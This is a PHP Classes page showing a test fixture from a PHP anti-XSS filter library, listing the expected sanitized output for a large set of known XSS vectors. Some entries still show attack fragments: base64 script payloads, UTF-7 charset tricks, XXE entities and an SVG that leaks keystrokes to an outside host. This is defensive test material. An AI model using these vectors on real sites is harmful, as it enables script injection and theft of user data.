PHP Classes

File: tests/fixtures/expect_result.php

Recommend this page to a friend!
  Classes of Lars Moelleken   PHP Anti XSS Filter   tests/fixtures/expect_result.php   Download  
File: tests/fixtures/expect_result.php
Role: Auxiliary script
Content type: text/plain
Description: Auxiliary script
Class: PHP Anti XSS Filter
Remove tags from HTML that may cause XSS attacks
Author: By
Last change: Merge pull request #105 from voku/renovate/shivammathur-setup-php-2.x

Update shivammathur/setup-php action to v2.22.0
Date: 2 years ago
Size: 26,701 bytes
 

Contents

Class file image Download 
<?php

return [
  0 => '&lt;svg&gt;<image id="v-146" width="500" height="500" xmlns:xlink="http://www.w3.org/1999/xlink" 0 0 100 100" height="100" width="100" xmlns="http://www.w3.org/2000/svg" data-name="Layer 1" id="Layer_1"&gt;
  &lt;title&gt;Compute&lt;/title&gt;
  &lt;g>
    <rect fill="#9d5025" ry="9.12" rx="9.12" height="53" width="53" y="24.74" x="23.5"></rect>
    <rect fill="#f58536" ry="9.12" rx="9.12" height="53" width="53" y="22.26" x="23.5"></rect>
  </g>
&lt;/svg&gt;" preserveratio="true" style="border-color: rgb(51, 51, 51); box-sizing: border-box; color: rgb(51, 51, 51); cursor: move; font-family: sans-serif; font-size: 14px; line-height: 20px; outline-color: rgb(51, 51, 51); text-size-adjust: 100%; column-rule-color: rgb(51, 51, 51); -webkit-font-smoothing: antialiased; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-text-emphasis-color: rgb(51, 51, 51); -webkit-text-fill-color: rgb(51, 51, 51); -webkit-text-stroke-color: rgb(51, 51, 51); user-select: none; vector-effect: non-scaling-stroke;"></image>&lt;/svg&gt;',
  1 => '&lt;svg&gt;<image id="v-146" width="500" height="500" xmlns:xlink="http://www.w3.org/1999/xlink" href="data:image/svg+xml;utf8,&lt;svg viewBox="0 0 100 100" height="100" width="100" xmlns="http://www.w3.org/2000/svg" data-name="Layer 1" id="Layer_1"&gt;
  &lt;title&gt;Compute&lt;/title&gt;
  &lt;g>
    <rect fill="#9d5025" ry="9.12" rx="9.12" height="53" width="53" y="24.74" x="23.5"></rect>
    <rect fill="#f58536" ry="9.12" rx="9.12" height="53" width="53" y="22.26" x="23.5"></rect>
  </g>
&lt;/svg&gt;" preserveratio="true" style="border-color: rgb(51, 51, 51); box-sizing: border-box; color: rgb(51, 51, 51); cursor: move; font-family: sans-serif; font-size: 14px; line-height: 20px; outline-color: rgb(51, 51, 51); text-size-adjust: 100%; column-rule-color: rgb(51, 51, 51); -webkit-font-smoothing: antialiased; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-text-emphasis-color: rgb(51, 51, 51); -webkit-text-fill-color: rgb(51, 51, 51); -webkit-text-stroke-color: rgb(51, 51, 51); user-select: none; vector-effect: non-scaling-stroke;"></image>&lt;/svg&gt;',
  2 => '<div aria-labelledby="msg--title" role="dialog" class="msg">&lt;button class="modal-close" aria-label="close" type="button"&gt;<i class="icon-close"></i>some button&lt;/button&gt;</div>',
  3 => '&lt;input type=checkbox checked&gt;&lt;input type=checkbox onclick&gt;',
  4 => '&lt;svg&gt;<defs><filter id="f1"><feGaussianBlur in="SourceGraphic" stdDeviation="15" /></filter></defs><rect width="90" height="90" stroke="green" stroke-width="3" fill="yellow" filter="url(#f1)" />&lt;/svg&gt;',
  5 => '<b href="(1)" title="(2)"></b>',
  6 => '<img src="">&lt;audio src=""&gt;&lt;/audio&gt;&lt;video src=""&gt;&lt;/video&gt;&lt;source src=""&gt;<div src="data:,345">',
  7 => '<img ><img >',
  8 => '<img >',
  9 => '123<a href=\'
(1)\'>I am a dolphin!</a>',
  10 => '123<a href=\'
(1)\'>I am a dolphin too!</a>',
  11 => '123<a href=\' (1)\'>CLICK</a><a href=\' (1)\'>CLICK</a><a href=\' (1)\'>CLICK</a><a href=\'?(1)\'>CLICK</a><a href=\' (1)\'>CLICK</a><a href=\' (1)\'>CLICK</a><a href=\' (1)\'>CLICK</a><a href=\' (1)\'>CLICK</a><a href=\' (1)\'>CLICK</a><a href=\' (1)\'>CLICK</a><a href=\' (1)\'>CLICK</a><a href=\' (1)\'>CLICK</a><a href=\' (1)\'>CLICK</a><a href=\' (1)\'>CLICK</a><a href=\' (1)\'>CLICK</a><a href=\' (1)\'>CLICK</a><a href=\' (1)\'>CLICK</a><a href=\' (1)\'>CLICK</a><a href=\' (1)\'>CLICK</a>',
  12 => '<img >',
  13 => '<img src="">',
  14 => '<img src=\'(1){}\'>',
  15 => '<a >clickme</a>',
  16 => '123456',
  17 => '&lt;form &gt;&lt;input name="attributes"&gt;&lt;input name="attributes"&gt;',
  18 => '<img >',
  19 => '<a href="#some-code-here" id="location">invisible',
  20 => '<div >&lt;form &gt;&lt;input  name=parentNode&gt;123&lt;/form&gt;</div>',
  21 => '&lt;form &gt;&lt;input  name=nodeName&gt;123&lt;/form&gt;',
  22 => '&lt;form &gt;&lt;input  name=nodeType&gt;123&lt;/form&gt;',
  23 => '&lt;form &gt;&lt;input  name=children&gt;123&lt;/form&gt;',
  24 => '&lt;form &gt;&lt;input  name=attributes&gt;123&lt;/form&gt;',
  25 => '&lt;form &gt;&lt;input  name=removeChild&gt;123&lt;/form&gt;',
  26 => '&lt;form &gt;&lt;input  name=removeAttributeNode&gt;123&lt;/form&gt;',
  27 => '&lt;form &gt;&lt;input  name=setAttribute&gt;123&lt;/form&gt;',
  28 => '&lt;style&gt;*{color: red}&lt;/style&gt;',
  29 => '<p>hello</p>',
  30 => '<listing>&lt;img ="alert&#40;1&#41;;//" src=x&gt;<t t></listing>',
  31 => '<img >',
  32 => '&lt;textarea&gt;@shafigullin&lt;/textarea&gt;&lt;!--&lt;/textarea&gt;<img >--&gt;',
  33 => '<b>&lt;noscript&gt;&lt;!-- &lt;/noscript&gt;<img >&lt;/noscript&gt;',
  34 => '<b>&lt;noscript&gt;<a >">&lt;/noscript&gt;',
  35 => '&lt;body&gt;<template><s><template><s><img >@shafigullin</s></template></s></template>',
  36 => '<a href="(1)">@shafigullin<a>',
  37 => '<option>&lt;style&gt;</option>&lt;/select&gt;<b><img >&lt;/style&gt;</option>',
  38 => '<option>&lt;iframe&gt;&lt;/select&gt;<b>',
  39 => '&lt;/iframe&gt;</option>',
  40 => '<b>&lt;style&gt;&lt;style/&gt;<img >',
  41 => '<b>&lt;style&gt;&lt;style////&gt;<img >&lt;/style&gt;',
  42 => '&lt;math xmlns="http://www.w3.org/1998/Math/MathML" display="block"&gt;
  <mrow>
    <menclose notation="box"><mi>a</mi></menclose><mo>,</mo>
    <menclose notation="box"><mi mathcolor="#FF0000">a</mi></menclose><mo>,</mo>
    <menclose notation="box" mathcolor="#FF0000"><mi>a</mi></menclose><mo>,</mo>
    <menclose notation="box" mathbackground="#80FF80"><mi mathcolor="#FF0000">a</mi></menclose><mo>,</mo>
    <menclose notation="box" mathcolor="#FF0000" mathbackground="#80FF80"><mi>a</mi></menclose><mo>,</mo>
    <menclose notation="box"><mi mathbackground="#80FF80">a</mi></menclose>
  </mrow>
&lt;/math&gt;',
  43 => '<image name=body><image name=adoptNode>@mmrupp<image name=firstElementChild>&lt;svg &gt;',
  44 => '<a href="(1)">@shafigullin<a>',
  45 => '<image name=activeElement>&lt;svg &gt;',
  46 => '<image name=body><img >&lt;&gt;, &lt;&gt;',
  47 => '<div  x=yscript: n>@superevr</div>',
  48 => '&lt;button remove=me   &gt;@giutro',
  49 => '<a href="">CLICK ME (bypass by @shafigullin)</a>',
  50 => '&lt;isindex x=""  label="variation of bypass by @giutro"&gt;',
  51 => '<div wow=removeme >text',
  52 => '&lt;input x=(1)&gt;&lt;svg id=1 &gt;&lt;/svg&gt;',
  53 => '&lt;isindex src=""  label="bypass by @giutro" /&gt;',
  54 => '<a href="">CLICK ME (bypass by @shafigullin)</a>',
  55 => '&lt;form action="(1)"&gt;&lt;button&gt;XXX&lt;/button&gt;&lt;/form&gt;',
  56 => '<div id="1">&lt;form id="foobar"&gt;&lt;/form&gt;&lt;button  &gt;X&lt;/button&gt;//["\'`-->]]>]</div>',
  57 => '<div id="2">&lt;meta charset="x-imap4-modified-utf7"&gt;&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi//["\'`-->]]>]</div>',
  58 => '<div id="3">&lt;meta charset="x-imap4-modified-utf7"&gt;&alert&A7&(1)&R&UA;&&&lt;&A9&11/script&X&&gt;//["\'`--&gt;]]&gt;]&lt;/div&gt;',
  59 => '<div id="4">0? :postMessage(importScripts(cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk\'))//["\'`-->]]>]</div>',
  60 => '<div id="5">//["\'`-->]]>]</div>',
  61 => '<div id="6">//["\'`-->]]>]</div>',
  62 => '<div id="7">&lt;input  autofocus&gt;//["\'`-->]]>]</div>',
  63 => '<div id="8">&lt;input  autofocus&gt;&lt;input autofocus&gt;//["\'`-->]]>]</div>',
  64 => '<div id="9"><a >X</a>//["\'`-->]]>]</div>

<div id="10">&lt;video //&gt;&lt;/video&gt;//["\'`-->]]>]</div>',
  65 => '<div id="11">&lt;svg xmlns="http://www.w3.org/2000/svg"&gt;<g ></g>&lt;/svg&gt;//["\'`-->]]>]</div>',
  66 => '<div id="12">&lt;body &gt;<br><br><br><br><br><br>...<br><br><br><br>&lt;input autofocus&gt;//["\'`-->]]>]</div>',
  67 => '<div id="13"><x repeat="template" repeat-start="999999">0<y repeat="template" repeat-start="999999">1</y></x>//["\'`-->]]>]</div>',
  68 => '<div id="14">&lt;input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!&gt;//["\'`-->]]>]</div>',
  69 => '<div id="15">//["\'`-->]]>]</div>',
  70 => '<div id="16">X<x   >//["\'`-->]]>]</div>',
  71 => '<div id="17">&lt;?xml-stylesheet href="(17)"?&gt;<root/>//["\'`-->]]>]</div>',
  72 => '<div id="18">alert&#40;1&#41;//["\'`-->]]>]</div>',
  73 => '<div id="19">&lt;meta charset="x-mac-farsi"&gt;]]>]</div>',
  74 => '<div id="20">//["\'`-->]]>]</div>',
  75 => '<div id="21">//["\'`-->]]>]</div>',
  76 => '<div id="22">&lt;input  autofocus&gt;&lt;input&gt;//["\'`-->]]>]</div>',
  77 => '<div id="23">&lt;form id=foobar &gt;&lt;input&gt;&lt;/form&gt;&lt;button  &gt;X&lt;/button&gt;//["\'`-->]]>]</div>',
  78 => '<div id="24">1<set/xmlns=`urn:schemas-microsoft-com:time`  attributename=`innerhtml` to=`&lt;img/src="x">`>//["\'`-->]]>]</div>',
  79 => '<div id="25">{alert&#40;25&#41;};1//["\'`-->]]>]</div>',
  80 => '<div id="26">&lt;html&gt;&lt;body&gt;<div>top secret</div>&lt;/body&gt;&lt;/html&gt;.toXMLString().match(/.*/m),alert&#40;RegExp.input&#41;;//["\'`-->]]>]</div>',
  81 => '<div id="27">&lt;style&gt;p[foo=bar{}*{-o-link:\'(27)\'}{}*{-o-link-source:current}*{background:red}]{background:green};&lt;/style&gt;//["\'`-->]]>]</div><div id="28">1<animate/xmlns=urn:schemas-microsoft-com:time   attributename=innerhtml values=&lt;img/src=".">>//["\'`-->]]>]</div>',
  82 => '<div id="29">&lt;link rel=stylesheet href=data:,*%7bx:alert&#40;29&#41;)%7d//["\'`--&gt;]]>]</div>',
  83 => '<div id="30">&lt;style&gt;@import "data:,*%7bx:alert&#40;30&#41;)%7D";&lt;/style&gt;//["\'`-->]]>]</div>',
  84 => '<div id="31">&lt;frameset &gt;//["\'`-->]]>]</div>',
  85 => '<div id="32"><table background="(32)"></table>//["\'`-->]]>]</div>',
  86 => '<div id="33"><a ><a  >XXX</a></a><a href="(2)">XXX</a>//["\'`-->]]>]</div>',
  87 => '<div id="34">1&lt;vmlframe xmlns=urn:schemas-microsoft-com:vml  src=test.vml#xss&gt;&lt;/vmlframe&gt;//["\'`-->]]>]</div>',
  88 => '<div id="35">1<a ><line xmlns=urn:schemas-microsoft-com:vml  href=(35) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>//["\'`-->]]>]</div>',
  89 => '<div id="36"><a  folder="(36)">XXX</a>//["\'`-->]]>]</div>',
  90 => '<div id="37">&lt;!--<img >&lt;img ">//["\'`--&gt;]]>]</div>',
  91 => '<div id="38"><comment><img >&lt;img ">//["\'`-->]]>]</div><div id="39">&lt;!-- up to Opera 11.52, FF 3.6.28 --&gt;',
  92 => '<![><img >&lt;img ">',
  93 => '&lt;!-- IE9+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+  --&gt;
&lt;svg&gt;&lt;![CDATA[><image >&lt;/svg&gt;//["\'`-->]]>]</div>',
  94 => '<div id="40">&lt;style&gt;<img src="&lt;/style&gt;&lt;img ">//["\'`-->]]>]</div>',
  95 => '<div id="41"><li  ></li>',
  96 => '<div >);visibility:hidden =alert&#40;41&#41;></div>//["\'`-->]]>]</div>',
  97 => '<div id="42">&lt;head&gt;&lt;base href="//"/&gt;&lt;/head&gt;&lt;body&gt;<a href="/. /,alert&#40;42&#41;//#">XXX</a>&lt;/body&gt;//["\'`-->]]>]</div>',
  98 => '<div id="43">&lt;?xml version="1.0" standalone="no"?&gt;',
  99 => '&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
&lt;head&gt;
&lt;style type="text/css"&gt;
@font-face {font-family: y; src: url("font.svg#x") format("svg");} body {font: 100px "y";}
&lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;Hello&lt;/body&gt;
&lt;/html&gt;//["\'`-->]]>]</div>',
  100 => '<div id="44">&lt;style&gt;*[{}@import\'test.css?]{color: green;}&lt;/style&gt;X//["\'`-->]]>]</div>',
  101 => '<div id="45"><div >XXX</div>//["\'`-->]]>]</div>',
  102 => '<div id="46"><div >XXX</div>//["\'`-->]]>]</div>',
  103 => '<div id="47">&lt;svg xmlns="http://www.w3.org/2000/svg"&gt;&lt;/svg&gt;//["\'`-->]]>]</div>',
  104 => '<div id="48">alert&#40;48&#41;//["\'`-->]]>]</div>',
  105 => '<div id="49">&lt;OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"&gt;<PARAM NAME="DataURL" VALUE="(49)">&lt;/OBJECT&gt;//["\'`-->]]>]</div>',
  106 => '<div id="50">&lt;object data="PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="&gt;&lt;/object&gt;//["\'`-->]]>]</div>',
  107 => '<div id="51">&lt;embed src="PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="&gt;&lt;/embed&gt;//["\'`-->]]>]</div>',
  108 => '<div id="52"><x >//["\'`-->]]>]</div><div id="53">&lt;xml id="xss" src="test.htc"&gt;&lt;/xml&gt;',
  109 => '<label dataformatas="html" datasrc="#xss" datafld="payload"></label>//["\'`-->]]>]</div>',
  110 => '<div id="54">//["\'`-->]]>]</div>',
  111 => '<div id="55">&lt;video&gt;&lt; &gt;//["\'`--&gt;]]&gt;]&lt;/div&gt;',
  112 => '<div id="56">&lt;video &gt;&lt;source&gt;&lt;/source&gt;&lt;/video&gt;//["\'`-->]]>]</div>',
  113 => '<div id="57"><b 0&lt;/b>//["\'`-->]]>]</div>',
  114 => '<div id="58"><b></b><alert&#40;58&#41;&lt;/b></b>//["\'`-->]]>]</div>',
  115 => '<div id="59"><div id="div1">&lt;input value="``=alert&#40;59&#41;"&gt;</div> <div id="div2"></div>//["\'`-->]]>]</div>',
  116 => '<div id="60"><div >XXX</div>//["\'`-->]]>]</div>',
  117 => '<div id="62">&lt;!-- IE 6-8 --&gt;
<x \'="foo"><x foo=\'><img >
& foo=\'&gt;&lt;img \'',
  118 => '<div id="63">&lt;embed src="(63)"&gt;&lt;/embed&gt; // O10.10?, OM10.0?, GC6?, FF
<img src="(2)">
<image src="(2)"> // IE6, O10.10?, OM10.0?
 // IE6, O11.01?, OM10.1?//["\'`-->]]>]</div>',
  119 => '<div id="64">&lt;!DOCTYPE x[&lt;!ENTITY x SYSTEM "http://html5sec.org/test.xxe">]><y>&x;</y>//["\'`-->]]>]</div>',
  120 => '<div id="65">&lt;svg  xmlns="http://www.w3.org/2000/svg"&gt;&lt;/svg&gt;//["\'`-->]]>]</div><div id="66">&lt;?xml version="1.0"?&gt;',
  121 => '&lt;?xml-stylesheet type="text/xsl" href="data:,%3Cxsl:transform version=\'1.0\' xmlns:xsl=\'http://www.w3.org/1999/XSL/Transform\' id=\'xss\'%3E%3Cxsl:output method=\'html\'/%3E%3Cxsl:template match=\'/\'%3E
<root/>//["\'`-->]]>]</div>
<div id="67">&lt;!DOCTYPE x [
    &lt;!ATTLIST img xmlns CDATA "http://www.w3.org/1999/xhtml" src CDATA "xx"
  CDATA "alert&#40;67&#41;"
  CDATA "alert&#40;2&#41;">
]><img />//["\'`-->]]>]</div>',
  122 => '<div id="68"><doc xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:html="http://www.w3.org/1999/xhtml">
    &lt;html:style /&gt;<x  xlink:type="simple">XXX</x>
</doc>//["\'`-->]]>]</div>',
  123 => '<div id="69"><card xmlns="http://www.wapforum.org/2001/wml"><onevent type=""><go href="(69)"/></onevent><timer value="1"/></card>//["\'`-->]]>]</div>',
  124 => '<div id="70"><div  >x</div>//["\'`-->]]>]</div>',
  125 => '<div id="71">&lt;// &gt;//["\'`--&gt;]]&gt;]&lt;/div&gt;',
  126 => '<div id="72">&lt;form&gt;&lt;button &gt;X&lt;/button&gt;//["\'`-->]]>]</div>',
  127 => '<div id="73">&lt;event-source src="event.php" &gt;//["\'`-->]]>]</div>',
  128 => '<div id="74"><a href="(74)">&lt;event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A" /&gt;</a>//["\'`-->]]>]</div>',
  129 => '<div id="75">&lt;/&gt;//["\'`--&gt;]]&gt;]&lt;/div&gt;',
  130 => '<div id="76">&lt;?xml-stylesheet type="text/css"?&gt;&lt;!DOCTYPE x SYSTEM "test.dtd"><x>&x;</x>//["\'`-->]]>]</div>',
  131 => '<div id="77">&lt;?xml-stylesheet type="text/css"?&gt;<root />//["\'`-->]]>]</div>',
  132 => '<div id="78">&lt;?xml-stylesheet type="text/xsl" href="#"?&gt;<img xmlns="x-schema:test.xdr"/>//["\'`-->]]>]</div>',
  133 => '<div id="79">&lt;object allowscriptaccess="always" data="x"&gt;&lt;/object&gt;//["\'`-->]]>]</div>',
  134 => '<div id="80">&lt;style&gt;*{x:??????????(alert&#40;80&#41;)}&lt;/style&gt;//["\'`-->]]>]</div>',
  135 => '<div id="81"><x xmlns:xlink="http://www.w3.org/1999/xlink" xlink:actuate=""  xlink:type="simple"/>//["\'`-->]]>]</div>',
  136 => '<div id="82">&lt;?xml-stylesheet type="text/css" href="data:,*%7bx:write(2));%7d"?&gt;//["\'`-->]]>]</div><div id="83"><x:template xmlns:x="http://www.wapforum.org/2001/wml"  x:><x:timer value="1"/></x:template>//["\'`-->]]>]</div>',
  137 => '<div id="84"><x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="(84)//#x"/>//["\'`-->]]>]</div>',
  138 => '<div id="85"><x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="test.evt#x"/>//["\'`-->]]>]</div>',
  139 => '<div id="86">&lt;body &gt;&lt;input autofocus&gt;//["\'`-->]]>]</div><div id="87">&lt;svg xmlns="http://www.w3.org/2000/svg"&gt;
<a xlink="http://www.w3.org/1999/xlink"href="(87)"><rect width="1000" height="1000" fill="white"/></a>
&lt;/svg&gt;//["\'`-->]]>]</div>',
  140 => '<div id="89">&lt;svg xmlns="http://www.w3.org/2000/svg"&gt;
<set attributeName="" to="alert&#40;89&#41;"/>
<animate attributeName="" to="alert&#40;89&#41;"/>
&lt;/svg&gt;//["\'`-->]]>]</div>',
  141 => '<div id="90">&lt;!-- Up to Opera 10.63 --&gt;
<div ></div>

&lt;!-- Up to Opera 11.64 - see link below --&gt;

&lt;!-- Up to Opera 12.x --&gt;
<div >PRESS ENTER</div>//["\'`-->]]>]</div>',
  142 => '<div id="91">[A]
&lt;? foo=">">
&lt;! foo="&gt;"&gt;
&lt;/ foo="&gt;"&gt;
[B]
&lt;? foo="&gt;&lt;x foo=\'?&gt;\'&gt;"&gt;
[C]
&lt;! foo="[[[x]]"&gt;&lt;x foo="]foo&gt;"&gt;
[D]
&lt;% foo&gt;&lt;x foo="%&gt;"&gt;//["\'`--&gt;]]&gt;]&lt;/div&gt;',
  143 => '<div id="92"><div >X</div>//["\'`-->]]>]</div>',
  144 => '<div id="93"><div >X</div>//["\'`-->]]>]</div>',
  145 => '<div id="94">&lt;svg xmlns="http://www.w3.org/2000/svg"&gt;
<handler xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load">alert&#40;94&#41;</handler>
&lt;/svg&gt;//["\'`-->]]>]</div>',
  146 => '<div id="95">&lt;svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
<feImage>
<set attributeName="xlink:href" to="
PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ+YWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg=="/>
</feImage>
&lt;/svg&gt;//["\'`-->]]>]</div>',
  147 => '<div id="96">&lt;iframe src=mhtml:http://html5sec.org/test.html!xss.html&gt;&lt;/iframe&gt;
&lt;iframe src=mhtml:http://html5sec.org/test.gif!xss.html&gt;&lt;/iframe&gt;//["\'`-->]]>]</div>',
  148 => '<div id="97">&lt;!-- IE 5-9 --&gt;
<div id=d><x xmlns=">&lt;iframe "></div>

&lt;!-- IE 10 in IE5-9 Standards mode --&gt;
<div id=d><x xmlns=\'">&lt;iframe \'></div>
//["\'`-->]]>]</div>',
  149 => '<div id="98"><div id=d><div >X</div></div>
//["\'`-->]]>]</div>',
  150 => '<div id="99">XXX&lt;style&gt;

*{color:gre/**/en !/**/important} /* IE 6-9 Standards mode */

&lt;!--
--&gt;&lt;!--*{color:red}   /* all UA */

*{background:url(xx //**/' . "\r" . 'ed/*)} /* IE 6-7 Standards mode */

&lt;/style&gt;//["\'`--&gt;]]>]</div>',
  151 => '<div id="100"><img[>//["\'`-->]]>]</div>',
  152 => '<div id="101"><a href="">XXX</a>//["\'`-->]]>]</div>',
  153 => '<div id="102"><img src="x` `">//["\'`-->]]>]</div>',
  154 => '<div id="103">//["\'`-->]]>]</div><div id="104">&lt;svg xmlns="http://www.w3.org/2000/svg" id="foo"&gt;
<x xmlns="http://www.w3.org/2001/xml-events" event="load" observer="foo" handler="data:image/svg+xml,&lt;svg xmlns="http://www.w3.org/2000/svg"&gt;
&lt;handler xml:id="bar" type="application/ecmascript"> alert&#40;104&#41; </handler>
&lt;/svg&gt;
#bar"/>
&lt;/svg&gt;//["\'`-->]]>]</div>',
  155 => '<div id="105">&lt;iframe src="data:image/svg-xml,%8B%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2"&gt;&lt;/iframe&gt;//["\'`-->]]>]</div>',
  156 => '<div id="106"><img >//["\'`-->]]>]</div>',
  157 => '<div id="107">&lt;title &gt;&lt;/title&gt;&lt;title title=&gt;&lt;/title&gt;//["\'`-->]]>]</div>',
  158 => '<div id="108">&lt;!-- IE 5-8 standards mode --&gt;
<a ></a><img ><img ></a>">
&lt;!-- IE 5-9 standards mode --&gt;
&lt;!a foo=x=`y&gt;&lt;img &gt;&lt;img "&gt;
&lt;?a foo=x=`y&gt;&lt;img &gt;&lt;img "&gt;//["\'`--&gt;]]&gt;]&lt;/div&gt;',
  159 => '<div id="109">&lt;svg xmlns="http://www.w3.org/2000/svg"&gt;
<a id="x"><rect fill="white" width="1000" height="1000"/></a>
<rect  fill="white" />
&lt;/svg&gt;//["\'`-->]]>]</div>',
  160 => '<div id="110">&lt;svg xmlns="http://www.w3.org/2000/svg"&gt;
<path d="M0,0" />
&lt;/svg&gt;//["\'`-->]]>]</div>',
  161 => '<div id="111"><div >X</div>//["\'`-->]]>]</div>',
  162 => '<div id="112"><div >X</div>//["\'`-->]]>]</div><div id="113"><div id="x">XXX</div>
&lt;style&gt;

#x{font-family:foo[bar;color:green;}

#y];color:red;{}

&lt;/style&gt;//["\'`-->]]>]</div>',
  163 => '<div id="114"><x >XXX</x>//["\'`-->]]>]</div><div id="115">&lt;!--[if]>
&lt;!--[if<img > --&gt;//["\'`-->]]>]</div>',
  164 => '<div id="116"><div id="x">x</div>
&lt;xml:namespace prefix="t"&gt;
<import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" targetElement="x" to="&lt;img	>">//["\'`-->]]>]</div>',
  165 => '<div id="117"><a href="http://attacker.org">
    &lt;iframe src="http://example.org/"&gt;&lt;/iframe&gt;
</a>//["\'`-->]]>]</div>',
  166 => '<div id="118"><div draggable="true" >
    <h1>Drop me</h1>
</div>
&lt;iframe src="http://www.example.org/dropHere.html"&gt;&lt;/iframe&gt;//["\'`-->]]>]</div>',
  167 => '<div id="119">&lt;iframe src="//www.example.org/" frameborder="0" &gt;&lt;/iframe&gt;',
  168 => '&lt;textarea type="text" cols="50" rows="10"&gt;&lt;/textarea&gt;//["\'`-->]]>]</div>',
  169 => '<div id="120">
&lt;body&gt;
<a href="#">Spam</a>//["\'`-->]]>]</div>',
  170 => '<div id="121">&lt;html xmlns="http://www.w3.org/1999/xhtml"
xmlns:svg="http://www.w3.org/2000/svg"&gt;
&lt;body &gt;
&lt;iframe src="http://example.com/" /&gt;
&lt;svg:svg&gt;
&lt;svg:mask id="maskForClickjacking" maskUnits="objectBoundingBox" maskContentUnits="objectBoundingBox"&gt;
    &lt;svg:rect x="0.0" y="0.0" width="0.373" height="0.3" fill="white"/&gt;
    &lt;svg:circle cx="0.45" cy="0.7" r="0.075" fill="white"/&gt;
&lt;/svg:mask&gt;
&lt;/svg:svg&gt;
&lt;/body&gt;
&lt;/html&gt;//["\'`-->]]>]</div>',
  171 => '<div id="122">&lt;iframe sandbox="allow-same-origin allow-forms allow-scripts" src="http://example.org/"&gt;&lt;/iframe&gt;//["\'`-->]]>]</div>',
  172 => '<div id="123"><span class=foo>Some text</span>
<a  href="http://www.example.org">www.example.org</a>

//["\'`-->]]>]</div>',
  173 => '<div id="124"> // Safari 5.0, Chrome 9, 10
 // Safari 5.0//["\'`-->]]>]</div>',
  174 => '<div id="125">&lt;?xml version="1.0"?&gt;&lt;?xml-stylesheet type="text/xml" href="#stylesheet"?&gt;&lt;!DOCTYPE doc [&lt;!ATTLIST xsl:stylesheet  id    ID    #REQUIRED>]>&lt;svg xmlns="http://www.w3.org/2000/svg"&gt;    <xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">        <xsl:template match="/">            &lt;iframe xmlns="http://www.w3.org/1999/xhtml" src="(125)"&gt;&lt;/iframe&gt;        </xsl:template>    </xsl:stylesheet>    <circle fill="red" r="40"></circle>&lt;/svg&gt;//["\'`-->]]>]</div>',
  175 => '<div id="126">&lt;object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"&gt;&lt;/object&gt;
&lt;object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"  &gt;<param name=postdomevents />&lt;/object&gt;//["\'`-->]]>]</div>',
  176 => '<div id="127">&lt;svg xmlns="http://www.w3.org/2000/svg" id="x"&gt;
<listener event="load" handler="#y" xmlns="http://www.w3.org/2001/xml-events" observer="x"/>
<handler id="y">alert&#40;127&#41;</handler>
&lt;/svg&gt;//["\'`-->]]>]</div>',
  177 => '<div id="128">&lt;svg&gt;&lt;style&gt;<img/>//["\'`-->]]>]</div>',
  178 => '<div id="129">&lt;svg&gt;<image >
&lt;!--
Same effect with
<image filter=\'...\'>
--&gt;
&lt;/svg&gt;//["\'`-->]]>]</div>',
  179 => '<div id="130">&lt;math href="(130)"&gt;CLICKME&lt;/math&gt;
&lt;math&gt;
&lt;!-- up to FF 13 --&gt;
<maction actiontype="statusline#http://google.com" >CLICKME</maction>

&lt;!-- FF 14+ --&gt;
<maction actiontype="statusline" >CLICKME<mtext>http://http://google.com</mtext></maction>
&lt;/math&gt;//["\'`-->]]>]</div>',
  180 => '<div id="132">&lt;!DOCTYPE html>
&lt;form&gt;
<label>type a,b,c,d - watch the network tab/traffic (JS is off, latest NoScript)</label>
<br>
&lt;input name="secret" type="password"&gt;
&lt;/form&gt;
&lt;!-- injection --&gt;&lt;svg height="50px"&gt;
<image xmlns:xlink="http://www.w3.org/1999/xlink">
<set attributeName="xlink:href" begin="accessKey(a)" to="//example.com/?a" />
<set attributeName="xlink:href" begin="accessKey(b)" to="//example.com/?b" />
<set attributeName="xlink:href" begin="accessKey(c)" to="//example.com/?c" />
<set attributeName="xlink:href" begin="accessKey(d)" to="//example.com/?d" />
</image>
&lt;/svg&gt;//["\'`-->]]>]</div>',
  181 => '<div id="133">&lt;!-- `<img/>//["\'`--&gt;]]>]</div>',
  182 => '<div id="134"><xmp>
&lt;%
&lt;/xmp&gt;
&lt;img &gt;&lt;/xmp&gt;&lt;img \'&gt;

 %&gt;/
alert&#40;2&#41;


XXX
&lt;style&gt;
*[\'&lt;!--\']{}
&lt;/style&gt;
--&gt;{}
*{color:red}&lt;/style&gt;//["\'`--&gt;]]&gt;]&lt;/div&gt;',
  183 => '<div id="135">&lt;?xml-stylesheet type="text/xsl" href="#" ?&gt;
&lt;stylesheet xmlns="http://www.w3.org/TR/WD-xsl"&gt;
<template match="/">
